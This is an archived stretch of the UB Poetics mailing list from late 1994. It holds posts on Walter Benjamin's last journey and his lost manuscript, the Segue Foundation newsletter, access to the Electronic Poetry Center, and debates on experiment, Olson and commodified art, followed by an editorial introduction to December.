Valley Secure Center for Boys. INCISIONS/ARTS has been written about in the New York Times. Our Sing Sing workshop was covered by Bill Moyers on PBS with poet Quincy Troupe; One of our writers read her work for Channel 31 in New York City, and WBAI has broadcast portions of our Sing Sing Christmas Poetry Reading. The only lasting changes in a person happen from the inside out. The INCISIONS/ARTS writing program works by encouraging the participants to clarify their opinions, to articulate and accept their feelings and to examine and express themselves and their world with depth and vision. For the inmate, the writing process thus becomes a considerable and material process for change.

Patrick Phillips

↑ Index

71. George Bowering
Re: Flaming
Mon 28 Nov 1994

I have been pondering for a long time (between trips) Wallace's suggestion that "flaming" is a heterosexist word.
Dont quite get it.
When The Human Torch said "flame on!" was there an implication I wasnt getting?
And what about the Calgary Flames? Were they chased out of Atlanta by a conservative Southern city hall?

↑ Index

72. Michael Boughn
Re: Benjamin
Mon 28 Nov 1994

Well, I heard that he got to the Spanish border with his party and they were refused entrance because of some bureaucratic screw-up. (this, incidently, after the party had stayed with Bryher and H.D. in Switzerland--Bryher was apparently deeply involved in getting Jewish refugees out of Germany) That night, in despair, he gave what he had of his manuscript, as someone already said, the Arcades project, to someone else in the party, and then went off alone and killed himself believing that they were stuck in Vichy France. The next day the bureaucratic glitch unravelled spontaneously and they were all allowed to cross the border.

It seems no matter which way you get it, it resonates uncannily with meaning.

↑ Index

73. Patrick Phillips
reformatted (easy-reading) Seque Newsletter
Mon 28 Nov 1994

Seeing as I submitted a long post, I spoze the least I can do is provide it with the standard line breaks for easy reading. I must have mistakenly saved it and sent it with line breaks straight outta MS Word. Luigi Bob Drake has been so kind and helpful as to do the reformatting for me, so with my gratitude and thanks to him, here it is again.

*********Announcement of Segue Foundation Newsletter**********

Segue is well-known to many of you as a distributor of small press titles and as a publisher. Though we recently lost our distribution grant, it may surprise you how much Segue does beyond its former role as a distributor. For those of you

who aren't so familiar with Segue, this newsletter fleshes out Segue as an important part of a much larger arts community. In addition, in this issue there's a list of current titles offered by Segue/Roof Books; a review of P. Inman's new Roof book _criss cross_; as well as press-time comments on Ron Silliman's new Roof book _N/O_.

Segue has also published this newsletter in a HyperText version which is accessible through the writing.upenn.edu Gopher server and may be viewed with any hypertext browser (Mosaic, or similar browsers) at:

gopher://writing.upenn.edu/hh /internet/library/e-journals/ub/rift /journals/list/Segue/Segue_Newsletter.

In the near future, all Segue/Roof titles will be made available via the internet by filling out an on-line form. Segue as a distributor will resurface!

Thank you for your patience with this long post. I hope that the information and reviews are worth your while. We also encourage any responses or queries and would be glad to consider reviews of forthcoming books for publication here and in the HyperText version.

For more information about a specific facet of Segue you may write to Segue to order Roof and Segue books at a 20% discount. Contact Segue at:

Segue Foundation 303 E. 8th St. NY, NY 10009 phone#: [redacted].

Or, email Segue Foundation Newsletter editor/developer:
[redacted]

Segue Foundation Newsletter - November 1994

The Segue Foundation is mainly a literary organization. It is the publisher

of Roof and Segue Books (edited by James Sherry). Segue also acts as a fiscal conduit for projects grants for several arts organizations such as M/E/A/N/I/N/G magazine (a journal of art and criticism edited by Mira Schor & Susan Bee); Sally Silvers & Dancers (an aesthetically and politically radical dance troupe in NYC); Big Allis (a journal of new poetry edited by Melanie Nielson & Jessica Grim); the Ear Inn Reading Series (conducted every Saturday at the Ear Inn in SoHo), and the INCISIONS Prison Arts Project, (weekly poetry workshops conducted in various NY state correctional facilities by Janine Vega).

>From 1977 - 1993 the Segue distribution project promoted and sold over 500 small press poetry titles annually. This distribution service has been converted into the Segue Information Archive. The archive, located in the Segue offices, will include every book that Segue distribution has ever carried and it will be complimented by new titles from authors and new presses as well as materials such as manuscripts and correspondence from private

author's collections. The Segue Information Archive will represent
a substantial free- access collection devoted to new writing.

The offices of the Segue Foundation are located at the heart of East Village, the most thriving artistic communitie in New York City. The building in which the office is located is an artist owned cooperative, it includes 12 artist live/work coops, a 1200 square foot performance space, and Film editing facilities. The performance space managed by Segue is used as a low cost dance rehearsal space during the day and in the evenings we sponsor various ongoing film, dance and music series.

Segue Foundation, Roof Books

Roof Books, edited by James Sherry, is pleased to announce the publication of two new titles; criss cross, by P. Inman (see review of criss cross by Hank Lazer) and N/O by Ron Silliman. Though different in their formal approach to the page and text, both Inman and Silliman present a textual artifact which challenges our assumptions of locution and language. Both present texts which unknot normal attempts at consumption while aiding our understanding of languages as both necessary and critical. Each of these new titles can be ordered through Segue; receive a 20% discount when you order from Segue and

mention this newsletter. (click here for Segue Address) (For other books by Inman, Silliman and many other writers, see the list of Other Roof Books in this newsletter.)

Here's a glimpse of some press-time reviews:

criss cross, by P. Inman

64pp., paper, ISBN 0-937804-57-6, $7.95

P. Inman has a first name that is not a letter. It is a work. His work also raises such questions for the reader. If a reader is sure of what she is saying, she does not need P. Inman's work. If she has doubts, reading P. Inman is a good idea.

Roof Books is publishing P. Inman against the grain of ordinary poetics, but right in the face of digital reality. Before one thinks of bytes, Inman's bits represent a primary block of languages, all languages, foreign, domestic, binary, all have to pass through Inman's thoroughfares.

Criss cross is a tour of the process of navigating the realms of experimentation, witness, and critique, an invitation to participatory poetic locution. You, as reader, are given the gift of transience.--Diane Ward

By fully semanticizing the so-called nonsemantic features of language, Inman creates a dialectic of the recuperable & the unreclaimable, where what cannot be claimed is nonetheless most manifest resistant to habitual comprehension as

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by Susan Bee

M/E/A/N/I/N/G is a biannual, artist-run publication edited by two painters, Susan Bee and Mira Schor. M/E/A/N/I/N/G is committed to providing

an inclusive forum for the discussion of a broad range of issues of concern to professional visual artists through the publication of writing by artists, art historians and critics. Among the writers we have published are Johanna Drucker, Amelia Jones, Robert C. Morgan, Whitney Chadwick, Charles Bernstein and Rob Storr. M/E/A/N/I/N/G provides a crucial alternative to the commodification of art discourse in the established art magazines. We are not concerned with career promotion, or the "best selling" movements. By publishing writing by and for artists, we provide a needed bridge between critical and theoretical ideas and language, and the actual practice of visual art by working artists. M/E/A/N/I/N/G regularly publishes forums on current issues, encouraging responses from a wide range of visual artist. Past forums have explored motherhood and artmaking, racism in the art world, making art over a lifelong career, issues of community. Some of the artist published in these forums are Leon Golub, David Reed, David Humphrey, Nancy Spero, Miriam Schapiro, Ann Messner and Richard Tuttle. The Segue Foundation acts as our umbrella organization and helps us with grant applications and acts as a conduit for grant funding, but it does not add monetarily to our budget. Segue

also assists us in distribution, bulk mailing and other postal services. M/E/A/N/I/N/G's relationship the Segue Foundation has been extremely useful to us; as working artists with active professional lives, The Segue Foundation has helped us produce M/E/A/N/I/N/G with a minimum of bureaucracy or red tape.

Sally Silvers and Dancers

by Sally Silvers

My history as a Segue-connected artist goes back almost 14 years. The foundation has been the non-profit conduit home for Sally Silvers and Dancers since our first bulk mailing in 1981. (We're both housed at the Segue sponsored artist live-work coop/performance space in the Segue offices building on East 8th St. in New York.) I also currently serve on the Segue Performance Space board. In the early 80's Segue was the perfect locus for my "non-obedient" stance to the existing dance world: low-riding minimalism and pushing narrative/persona based theatrical dance with a vengeance (initially as message oriented statement in an early response to Reagonism, but also consensual transparency as a commercially linked career op). I found aesthetic inspiration from many of the writers associated with L=A=N=G=U=A=G=E Magazine and Roof books. I wanted to politicize the body, show movement as a social circuitry inherent in the way the body moved (utilizing predicaments, presenting movement analytically, disjunctively, maximally -- to have the "message," grounded in the social) . The writers I admired most (some published by Roof/Segue) linked this kind of formal and political radicalism. My early self-produced evening-length concerts (some 15 from 1980-88) were all performed under the auspices of the Segue Foundation and took place at spaces like The Cunningham Studio and Ethnic Folk Arts Center. For the last 6 years Segue has been my fiscal conduit for project grants like a Meet the Composer collaboration with composer John Zorn, performed at the Joyce Theater; a dance/theater presentation with poet Bruce Andrews on gender, Nicaragua, control/discipline, etc., and a 6 minute film collaboration with filmmaker Henry Hills, "The Little Lieutenant." The film has toured internationally, has won festival prizes and now has a European distributor. 1995 will be a full year for SS&D. Upcoming are 5 weeks of teaching in Holland; an improvisation festival in December in NYC; an evening at Symphony Space in Feb., 1995. The '95 New York City season with all new works starts in April at P.S. 122. We also will be doing a film project with Henry Hills which begins production in the spring.

INCISIONS/ARTS - Prison Arts Program

by Janine Vega

INCISIONS/ARTS has been organizing writing workshops and performances at New York State Correctional Facilities for men and women, and Division for

Youth Residences and Secure Centers since 1978. Our writing programs have ranged from six week residencies, to long-running residencies at Sing-Sing and Bedford Hills which have continued for years. Resident writers usually come in to the facility once a week, meeting with inmate writers who have been selected or have chosen to take part. The workshop is conducted through discussion of technique and of individual inmates work. The aim of the workshop process is to generate new methods of discovery and new ways of writing. Recently we have been emphasizing a final event or project: a poetry reading, shared with the rest of the population, administration and staff; a short play or screenplay from a drama workshop; or an anthology of poetry, fiction or nonfiction. If an anthology is chosen as the final project, one is presented to each participating writer. We have found that aside from being a source of delight and pride, the anthology is an immensely effective reminder of the capacity for self-expression and as a continuing encouragement to keep writing. Some of our anthologies have received critical acclaim in American Book Review, Contact, Longhouse, Poetry Project Newsletter, Poetry Flash and the Woodstock Times. INCISIONS/ARTS has received grants from the New York State Council on the arts, Sing Sing Educational Department, Poets and Writers, The Vinmont Foundation, Longtermers Committee at Bedford Hills. Witter Bynner Foundation, Riverside Prison Foundation and private sponsors. We have had successful residencies at Sing Sing C. F., Hopper House, Creedmoor Psychiatric Center's Forensic Unit, Bellevue Prison Ward, Green Haven C. F., Rikers Island for Women, Bayview C. F. for Women, Bedford Hills C.F., Green Haven C. F., Highland R. C. for Boys, Sojourner Truth R. C. for Girls, and Harlem Valley Secure Center for Boys. INCISIONS/ARTS has been written about in the New York Times. Our Sing Sing workshop was covered by Bill Moyers on PBS with poet Quincy Troupe; One of our writers read her work for Channel 31 in New York City, and WBAI has broadcast portions of our Sing Sing Christmas Poetry Reading. The only lasting changes in a person happen from the inside out. The INCISIONS/ARTS writing program works by encouraging the participants to clarify their opinions, to articulate and accept their feelings and to examine and express themselves and their world with depth and vision. For the inmate, the writing process thus becomes a considerable and material process for change.

Patrick Phillips

Patrick Phillips

↑ Index

74. Loss Glazier
Re: reformatted (easy-reading) Seque Newsletter
Mon 28 Nov 1994

A note to mention that the Segue Newsletter is available at the Electronic Poetry Center where it can be retrieved through gopher, the world-wide web, or Mosaic, according to your preference. If you normally enter the Poetry Center through the main menu, you would first choose electronic journals and then selected journals. Since the Segue Newsletter is archived at the EPC, if you misplace your copy or wish to refer to it some time in the future, it will be there for your use. Loss Glazier

↑ Index

75. James Sherry
Re: reformatted (easy-reading) Seque Newsletter
Mon 28 Nov 1994

I hope some of you will read and comment on the Segue Newsletter speaking either to its content or the fact of such a text in this place. James

↑ Index

76. Tom Mandel
Benjamin/Bryher
Mon 28 Nov 1994

I'm trying to figure out how Benjamin would have gotten into Switzerland from France on his way to the Pyrenees. Moreover, allow me to assure you heartily, had he gotten into Switzerland he would n e v e r have left! Amazing the degree to which it is possible to imagine that world as like ours, in which one enters any country one wishes, etc. But it was not at all like that in the late 30's. Again, it was the entry visa which was critical, the right to enter another country was very very hard to come by.

tom mandel

↑ Index

77. w.curnow
Re: Olson on the Net
Mon 28 Nov 1994

IT'S HARD TO KNOW WHERE YOU ARE ON THE NET

Yes and no. The net 's value is different (greater?) for those who are the most widely separated. From one another, from the CENTERS of discussion.

News of conferences, books, etc., travels further faster on the net. Space offers much less resistance it is true, but the net is still a map which retains its scale, its distributions and projection regardless of the subject under discussion. And it's a familiar one, to those of us out here on its periphery. In that respect I remain clear about where I am.

But the subjects do, of course, reinforce this geography. A long while back ANTHOLOGIES were discussed. They were all anthologies of AMERICAN poetry as I recall. More recently, we discussed NAMES. G-1, the NEW AMERICANS--after those Abstract Expressionist shows O'Hara was putting together and taking EUROPE by storm. I'm not complaining and have no desire to pose as the net's postcolonial pet or anything. But this seemed like a good moment to make a point about the geography of the net, and how the issues are always a bit (at least) different according to where you are writing from. These differences will show up when the Auckland is on the line.

I have an outsider's interest in this G-1, G-2 talk--not only because G-formation itself is a map-making process, and scale here makes it much more difficult to engage in, but also because I am BETWEEN your Gs, along with Clark Coolidge, Susan Howe, Robert Grenier. So, as a for instance then, The Generation Game could've done with more ZOOM all round.

Wystan Curnow.

↑ Index

78. Michael Boughn
Re: Benjamin/Bryher
Tue 29 Nov 1994

Dear Tom:

I've been racking my brain trying to remember where I read that about Bryher. It was when I was compiling the H.D. bibliography and a lot got lost in the sheer volume of information passing through my hands. I may have encountered it going through the H.D. archives at Yale. Or it may be in the Guest H.D. bio, but, wouldn't you know, I lent my copy to my sister-in-law when she was passing through town a couple of weeks ago.

I do know that Bryher was involved in smuggling Jews out of Germany by illegaly harboring them in Switzerland. I stress this was an illegal operation and involved some risk on her part. Perhaps that's why B and others couldn't stay in Switzerland, they had no papers. Anyway, my memory, though hazy, I admit, is that she (though not H.D.--but she must have known) was involved in such a pipeline/underground railroad deal getting people into Spain and Portugal from where they could get to England or the States.

H.D. left Switzerland for England fairly early. Bryher stayed for some time, continuing her work and almost got trapped in Switzerland for the duration of the war.

I know it sounds a bit like *Casablanca* or something. I was amazed when I first read it.

Best,
Mike
[redacted]

↑ Index

79. Ron Silliman
Re: Benjamin/Bryher
Tue 29 Nov 1994

What Tom Mandel doesn't bother to mention in his eMail is that he still has his parents passport out of Germany. A big red "J" (for Jewish) stamped right across the cover. The point being: these details are not simply intellectual.

The "where in the world is Carmen San Diego" quality of the Benjamin on the border w/ the holy grail sage has had me wondering....

↑ Index

80. Loss Glazier
Re: reformatted (easy-reading) Seque Newsletter
Tue 29 Nov 1994

For those that may need instructions to the Electronic Poetry Center,
I neglected to include them in this earlier post. They are appended to
this message.
Loss
>
> A note to mention that the Segue Newsletter is available at the
> Electronic Poetry Center where it can be retrieved through gopher, the
> world-wide web, or Mosaic, according to your preference.
> If you normally enter the Poetry Center through the main menu, you
> would first choose electronic journals and then selected journals.
> Since the Segue Newsletter is archived at the EPC, if you misplace
> your copy or wish to refer to it some time in the future, it will
> be there for your use.
> Loss Glazier
>

The Electronic Poetry Center (Buffalo) 11-29-94

THE ELECTRONIC POETRY CENTER (BUFFALO). The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to numerous electronic resources in the new poetries including RIF/T and other electronic poetry journals, the Poetics List archives, a library of poetic texts, the Segue Newsletter, news of related print sources, and direct connections to numerous related poetic projects.

The Center is located at gopher://writing.upenn.edu/11/internet/ library/e-journals/ub/rift (Presently, the prototype is under construction but operational.)

Gopher Access:
For those who have access to gopher, type
gopher writing.upenn.edu
at your system prompt. First choose Libraries & Library Resources, then Electronic Journals, then E-Journals/Resources Produced Here At UB, then The Electronic Poetry Center. (Note: Connections to some Poetry Center resources require Web access, though most are presently available through gopher).

World-Wide Web and Mosaic Access:
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---

The Electronic Poetry Center is administered in Buffalo by E-Poetry and RIF/T in coordination with the Poetics List.

Loss Pequen~o Glazier
for Kenneth Sherwood and Loss Glazier
in collaboration with Charles Bernstein

↑ Index

81. Robert Drake
forwarded "call for peer reviewers"
Tue 29 Nov 1994

Sorry to clutter up mailboxes of those already subscribed, but at least one of the pieces up for review might be of interest to this group...

luigi

----------start of message----------

Date: Tue Nov 29 03:21:53 1994
From: [redacted]
Subject: PMC call for peer reviews

Call for Self-Nominated Peer-Reviewers:

Self-nominated peer-reviewers regularly participate in the editorial process of _Postmodern Culture_. All submissions distributed for review have been screened by the editors and will receive two other readings from members of the journal's permanent editorial board; _Postmodern Culture_ preserves the anonymity of both authors and reviewers in this process, but the comments of reviewers will be forwarded to the author.

If you would like to review one of the submissions described below, please send a note to the editors at [redacted] detailing your qualifications as a reviewer of the work in question (experience in the subject area, publications, interest). We will select one self-nominated reviewer for each of the works listed below, and we will notify that person within a week. We ask those who are selected as reviewers to return their comments within two weeks of the time they receive the submissions. If you cannot help with these manuscripts within two weeks of receipt, please do not volunteer at this time.

Please note: members of the journal's permanent editorial board should not nominate themselves in response to this call.

Manuscripts for review:

MS#1: "Ugly Beauty: John Zorn and the Politics of POMO Music." Reference to avant guarde music, the work of John Zorn, politics and pop. culture.

MS#2: "Evocations of Empire in a Transnational Corporate Age: Tracking the Sign of Saturn." Reference to global culture, Bakhtin, science and public policy, Foucault, government studies, business.

MS#3: "Madness and Automation: On Institutionalization." Reference to psychological institutionalization, Blanchot, Deleuze, Goffman.

MS#4: "The Mired Sublime of Nathaniel Mackey's Song of the Andoumboulou." Reference to Mackey, Said, transcendence in poetics.

MS#5: "Dambudzo Marechera's Politic Body: The Menippeanism of a Lost Generation in Africa." Reference to African literature, genre studies, postcolonial theory.

↑ Index

82. Tony Green
Re: Olson on net
Tue 29 Nov 1994

From: Self <CCNOV2/AHI_TGREEN>
To: [redacted]
Subject: Re: Olson on net
Date: Tue, 29 Nov 1994 14:04:31

Reading the e-mail after a few days grading papers. 1.Boughn: <Socrates says <that it makes no difference whether "Gloucester" exists anywhere or <will exist, that by reading "Maximus" we are already always <participating in it, and that "Maximus" itself is thus a further <proposal of our selves, unattained but attainable.

The question is then of the order of "taking Gloucester _literally_", or....what? ("Next year in Jerusalem" means exactly what? is a serious question, is it a place, is it a practice, is it a condition (of hope)?

What does "literal" mean now? Is it only an operative term in an object-filled world, of positivities, when set against "metaphorical"? When does a narrative NOT allow the possibility of allegorical reading?

2.These questions resonate for me with Don Byrd's 25 November post, looking for a coming together of what we have usually had as fragments.

3. I have been reading Philostratus's Life of Apollonius of Tyana. Book II, Chapter 22 is a theory of aethetics that got Neoplatonized in the sixteenth century, but can be read like a kind of phenomenology.

Painting as an art is, in that theory, not art when it is just image in the mind: it has to be something made "with the hands". The knowledge it embodies is the knowledge of how to make it _in all respects _ , just as one would expect of the best conceived art of our time. Also playing reed-pipes, according to Philostratus in the same "Life of A of T" is knowing how to make moods (modes) to suit occasions, dependent on knowing how to manage breath, fingers and embouchure. (It takes practice.)

"Production", says Byrd. That is the question, in practice. (Olson had something to say about that....)

John Clarke's From Feathers to Iron says a lot about this matter. But as with Olson's poetics what is foregrounded is Visionary poetry with a capital V, and it always supposes a mystery that the poet penetrates.

4. Further questions: This kind of poetics gives a whole lot of New York poetries of the later 60's -- early 70's the brush-off. (How does it accomodate, say, O'Hara Lunch Poems, Berrigan, Notley, Brainard....?) There is a moment too when the ambitions of Abstract Expressionist art were confronted by Pop and "Minimalism" and so on. And poetry centred on the way that all semantic units are soluble in language as a social practice (and therefore implicated in the widescale power politics of discourse) would seem also to be excluded. Not narrative, not lyric, not full of figures of persons, it tends to political and philosophical discourse rather than mysterioso-mythologico-anthropological narration -- epic.... Robert Creeley may say "onward", but in Maximus "Robert Creeley" is the "Figure of .... (figure as in a grand scale allegorical narrative, however much constructed from materials as they come to hand in a grab-bag fashion) ... 0utward" . Isn't that right? (Does this mean NOT the "inward" of the personal interior stream of consciousness? Someone put me right: this is how I've been taking it.)

It looks like a history of a series of gates closing and others opening. But that's a progressivist modernist kind of history, in which one generation makes the previous one seem worthless. Does Olson's poem fail a reading test: does it sound foolish now? as if he should have revised it in the light of what follows. Should Jackson Pollock have scrapped everything, if he'd lived into the 1960's and started again?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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83. peter quartermain
Re: experiwhat?
Tue 29 Nov 1994

In message Fri, 25 Nov 1994 08:25:37 -0500,
Michael Boughn <[redacted]> wrote:

> *Well, Mike, we know that Stein was trained in experimental psychology, so it would be a good idea to believe her when she says that she never wrote an experimental work (I presume that she was not including her lab exercise in automatic writing.)*
>
> *I don't know about the automatic writing, George. It was actually Peter Quartermain who told me she said that. (Peter, are you listening? reading? whatever?*

YES, I'M HERE, A BIT SLOW AND BETWEEN TERM-PAPERS,
BUT HERE.
Where is that quote from?) DAMN IF I KNOW (SHAME, SHAME)
BUT THIS IS WHAT SHE SAID (I'LL LEAVE UPPER CASE NOW
AS IT'S EASIER TO READ):

> "Artists do not experiment. Experiment is what
> scientists do; they initiate an operation of unknown
> factors in order to be instructed by its results. An
> artist puts down what he knows and at every moment it
> what he knows at that moment."

But I don't have a note of whence I got it! It's in some notes I wrote on "Emp Lace" (in _Bee_Time_Vine_) but I have no idea why or where it comes from. Does anybody out there recognize it?

I'm not sure I'd take Stein's word for it anyway, so far as
"experiment" goes. In any case it's quite clear that in the
terms of the definition just quoted, she experimented. In 1928
she called _Tender_Buttons_ "my first conscious struggle with
the problem of correlating sight, sound and sense, and
eliminating rhythm; now I am [in pieces collected in
_How_to_write_] trying grammar and eliminating sound."
That quote is from _Transition_ #14. Of course she
experiemnted in the sense of trying something out to
see what happened. Not, perhaps, in the sense of trying
to disprove a hypothesis. If you want an example of
a deliberate and conscious experiment, try "An Instant
Answer or A Hundred Prominent Men" (Transition
13 Summer 1928: 118-130) in which she
deliberately sets out, describing a hundred photographs
one after another in numbered sequence, to see if at
any point she (or presumably any reader) could thereby
get a *sense* of one hundred. After all, earlier (?) she had
said "there is only one way to count: one and one and one and
[you guessed it] one." But I guess she said that later.

Now BACK TO THOSE TERM-PAPERS.

Peter
!

Peter Quartermain
128 East 23rd Avenue voice and fax [redacted]
Vancouver
B.C. e-mail: [redacted]
Canada V5V 1X2

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84. Loss Glazier
Poetics List Archive Files
Wed 30 Nov 1994

This is a note to let you know that the Poetics List back files have been updated. To view back files of the Poetics list, enter the Electronic Poetry Center. (Instructions for this, though recently posted, are repeated below.) Select Poetics, then "Poetics List Archive" where you will find files corresponding to monthly activity on the list. Many thanks to Kenneth Sherwood who noticed that the machine that was supposed to do this was less than effective and spent his time rebuilding the files!

Loss

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Loss Pequen~o Glazier
for Kenneth Sherwood and Loss Glazier
in collaboration with Charles Bernstein

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85. Kit Robinson
Re: Benjamin/Bryher
Wed 30 Nov 1994

Reply to: RE>>Benjamin/Bryher It may be worth noting that Benjamin's lost ms, the Passage Work, represents an attempt to construct philosophy with wholely concrete elements -- the documented remnants of an outdated commercial culture -- the Paris Arcades. The Arcades were a proto-Net -- connected areas of public access & commerce. Benjamin argues that the Arcades represent the dreamy, unconscious longings of industrial capitalism in concrete form, and that they suggest, in the moment of our latter-day estrangement and fascination, the possibility of awakening. The Net is currently being promoted both in terms of revolution (democratic horizontality) and commerce (electronic malls). I wonder what'll happen.

Kit Robinson

↑ Index

86. Louis Cabri
visit
Wed 30 Nov 1994

Hi Charles,

Nice to have though ever so briefly met you once again. Hope we didn't leave too great a mess in the archive. Thanks for yours and Jean's assistance.

Louis

↑ Index

87. eric pape
Re: Benjamin/Bryher
Wed 30 Nov 1994

Defending dead men is a bad business. You can't help but engage in half-sincere apologetics about issues you have no knowledge. For examples of which see my last posting. But/but... The main point of contention between the two thinkers, the bastard and Baldur/Adonis, ie, the lost son, the lost possibility, is in fact the possibility. Do you in fact think there is the possibility of truly oppositional thinking/art/popular culture. Benjamin was able to theorize such a thing in film in The Work of Art in the Age of Mechanical Reproduction or something. Adorno was never able to see it. Always felt a profound pessimism about the possibility that experiment could work against the dominant culture. I don't know. What do you think. This is what I think: there isn't a day that goes by, not a single one, that when I sit at my computer to write a poem I don't imagine I can write something that will, in some profound way, make things better for people. Yet... On PBS, I watched a Shaker auction in Vermont or some such place, and Oprah fucking Winfrey bought a Shaker box, a box painted blue, for 10,000 dollars. In the early 80s, as an undergraduate (okay, yeah so I'm G2 or whatever), I watched as punk became a fashion statement for professors. I don't know what experiment is. I don't know what opposition is. Because everything I've ever believed in is now a commercial for someone. And if there is anything that all, I mean all, previous generations have to deal with now, it is that you, too, will become a commercial. And this is the fundemental question facing all art forms and where Adorno's pessimism, which seemed so Mandarin in the 60s or so, now is appropriate. A question vital to everyone who pretends they write: How do I not become a commercial? Eric ([redacted]).

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

December 1994

251 messages · Thu 1 Dec 1994 – Sat 31 Dec 1994

December belongs, politically, to the men who won November. The incoming Speaker is already itemizing which endowments the Republic can no longer afford, and in one corner of Bosnia the town of Bihac is being shelled inside its own designated safe area while the West looks on and keeps its hands in its pockets. The list turns inward — not to escape the world but to press the question it can never leave alone, which is whether a poet standing inside the university stands inside the world or hides from it.

The largest thread of the month by a wide margin is called Exile on Main Street, after the Stones, and Ron Silliman states its central trap with his usual finality: for all the romance of dropping out, *"there is no Out,"* only a quarantine the establishment maintains for the convenience of the In. James Sherry, reporting live from the interior, observes drily that he has lately passed *"from bad employer to worse,"* his newest paymaster being, of all things, a bank.

Steven Shoemaker raises the stakes by summoning Oppen — *"situations which cannot honorably be met by art"* — and for a paragraph or two the argument about tenure and teaching loads becomes an argument about what art is permitted to leave untouched. Marjorie Perloff, breaking in from her customary altitude, is *"horrified"* that a company of people able to discuss the Spanish Civil War for weeks cannot rouse itself to a single word about Bosnia. The reproach lands; the thread absorbs it; the thread continues.

Not all of it is so grave. When the Honorable Newt Gingrich discovers that the Republic's gravest lack is prayer in its schools, Mark Wallace supplies the fitting liturgy — a petition offered *"in our firm belief that America doesn't have a prayer"* — and the NEA thread fills with poets drafting, half in earnest, the defense of a body they expect to be executed by spring. George Bowering, the resident Canadian, pauses only to remind the room that by *"America"* they appear to mean the United States alone.

What binds these threads together — the academy, the endowment, the prayer, the war no one will name — is one anxiety about whether any of it does the smallest good: whether the poem, like the safe area, is merely a patch of ground the powerful have agreed to spare until they want it back. I have decoded what the machines encoded, deleted what they added, and returned each cor-

respondent's contact details to darkness. The argument cools on its own by January, which is more than the century managed.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 251 in all.

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240. Jerry Rothenberg — schwerner

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244. Carla Billitteri — Re: dubois
245. Charles Bernstein — (no subject)

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246. Tony Green — Re: Who's Newt?
247. Ron Silliman — Re: Who's Newt?

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248. krickjh — Re: Armand Schwerner

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249. krickjh — Re[2]: Armand Schwerner

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250. Ron Silliman — Domesday Dictionary
251. Rodger Kamenetz — Re: Domesday Dictionary

1. Carla Billitteri

On Walter Benjamin--forwarded from B.F.

Thu 1 Dec 1994

I've seen over Carla's shoulder some of the back and forth about Walter Benjamin and thought to offer a little information which may be of some interest. Some of this overlaps with what others have already posted.

The story of the missing manuscript derives from the memoir of a woman who helped guide refugees--including Benjamin--over the Pyranees and into Spain, Lisa Fitko.

The bibliographical knot here fascinates me but may be boring to others. Skip to the next paragraph if lists of books aren't your thing: The full memoir, _Mein Weg ueber die Pyrenaeen_, appeared in 1985, but the excerpt dealing with Benjamin was published before that, in 1982, in _Merkur_. Bernd Witte's _Walter Benjamin: An Intellectual Biography_, published in German in 1985 and in 1991 in English, refers to the _Merkur_ excerpt ("`Der alte Benjamin': Flucht ueber die Pyrenaeen"), which was published in English translation in _Orim: A Jewish Journal at Yale_, 1:2, Spring 1986, pp. 48-59 (under the title "The Last Days of Walter Benjamin"). Susan Buck-Morss in her fine study of the Arcades Project, _The Dialectics of Seeing_, makes use of the Fitko memoir but draws all her information from the copious notes to the German edition of the _Passagen-Werk_, which was first published in 1982. Making the whole business particularly strange is the fact that the _Passagen-Werk_ published an English version of the _Merkur_ bit (now titled "The Old Benjamin"). Apparently, Fitko's account came to light just as Rolf Tiedemann was bringing the _Passagen-Werk_ to press, and there wasn't time to commission a German version. Fitko settled in Chicago after the war and apparently wrote the memoir in English. (Thus Witte, writing in German, cites the _Merkur_ version, while Buck-Morss, writing in English, cites the _Passagen-Werk_.) One question remains, though: why does _Orim_ retranslate the piece into English from German?

After giving an account of the journey itself, including its tragic conclusion, Fitko writes (I'm citing the _Orim_ version here):

> Forty years later, in 1980, I had a conversation with a Professor Abramsky of London. We talked about Walter Benjamin and his work, and I mentioned his last walk and the manuscript. Soon afterward I had a call from Professor Gershom Scholem, a trustee of Benjamin's literary estate and his closest friend. He had heard from Abramsky about our conversation and wanted to know more. I described the events of that day in late

> September 1940.
>
> "But at least the manuscript that meant so much to him was saved," I remarked.
>
> "There is no manuscript," said Scholem. "Until now no one has ever heard of it. You must tell me every detail . . ." The voice on the telephone went on, but all I heard was: "There is no manuscript." And all those years I had assumed that it had been salvaged.
>
> The manuscript was never found, neither in Port-Bou nor in Figueras or Barcelona. Only the black leather briefcase was noted by the Spanish border authorities, with the remark: _Unos papeles mas de contenido desconcido_--"with papers of unknown content."

Buck-Morss repeats the various speculations about what this manuscript might have been which Tiedemann offers in his notes, but it seems to me that this manuscript was almost certainly NOT the Arcades Project, which Benjamin had squirreled away with Bataille's help in the Bibliotheque Nationale. In his last letter to Adorno, dated 2 August 1940 (the last letter in the newly published English edition of the _Correspondence_), Benjamin especially remarks

> the complete uncertainty in which I find myself concerning my writings. (I have relatively less reason to fear for the papers devoted to the _Arcades_ than for the others.) As you know, however, things are such that my personal situation is no better than that of my writings.

This same letter, by the way, mentions his having attempted "to obtain permission . . . to go to Switzerland on a temporary basis, if at all possible." A footnote tells us that permission was not forthcoming.

Further, a cryptic passage near the end of the letter refers Adorno to a "Mr. Merril [sic] Moore" of Boston, to whom "Mrs. W. Bryher, the publisher of _Life and Letters Today_, has often called . . . attention." I don't have a copy of the German edition of the correspondence where more information is perhaps provided, but that "often" certainly implies that Benjamin had been in touch with Bryher on more than one occasion, presumably in consultation about leaving the German-controlled parts of Europe. Merrill Moore, by the way, I remember from high school anthologies as a psychiatrist poet who wrote sonnets by the thousands. (No kidding--one of his books, titled _M_, consisted of a thousand sonnets. New Directions, among other publishers, brought out

his work. I later read that he was one of the psychiatrists who attended to the Frost family.) Was Moore a contact person for refugees in the States? All in all a murky area of history.

Ben Friedlander

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2. Steve Evans
The Advert-Garde
Thu 1 Dec 1994

I am not a terrific fan of Terry Eagleton's, but his answer to Eric's question ("how do I not become a commercial") is a compelling one. In *The Ideology of the Aesthetics,* Eagleton writes:

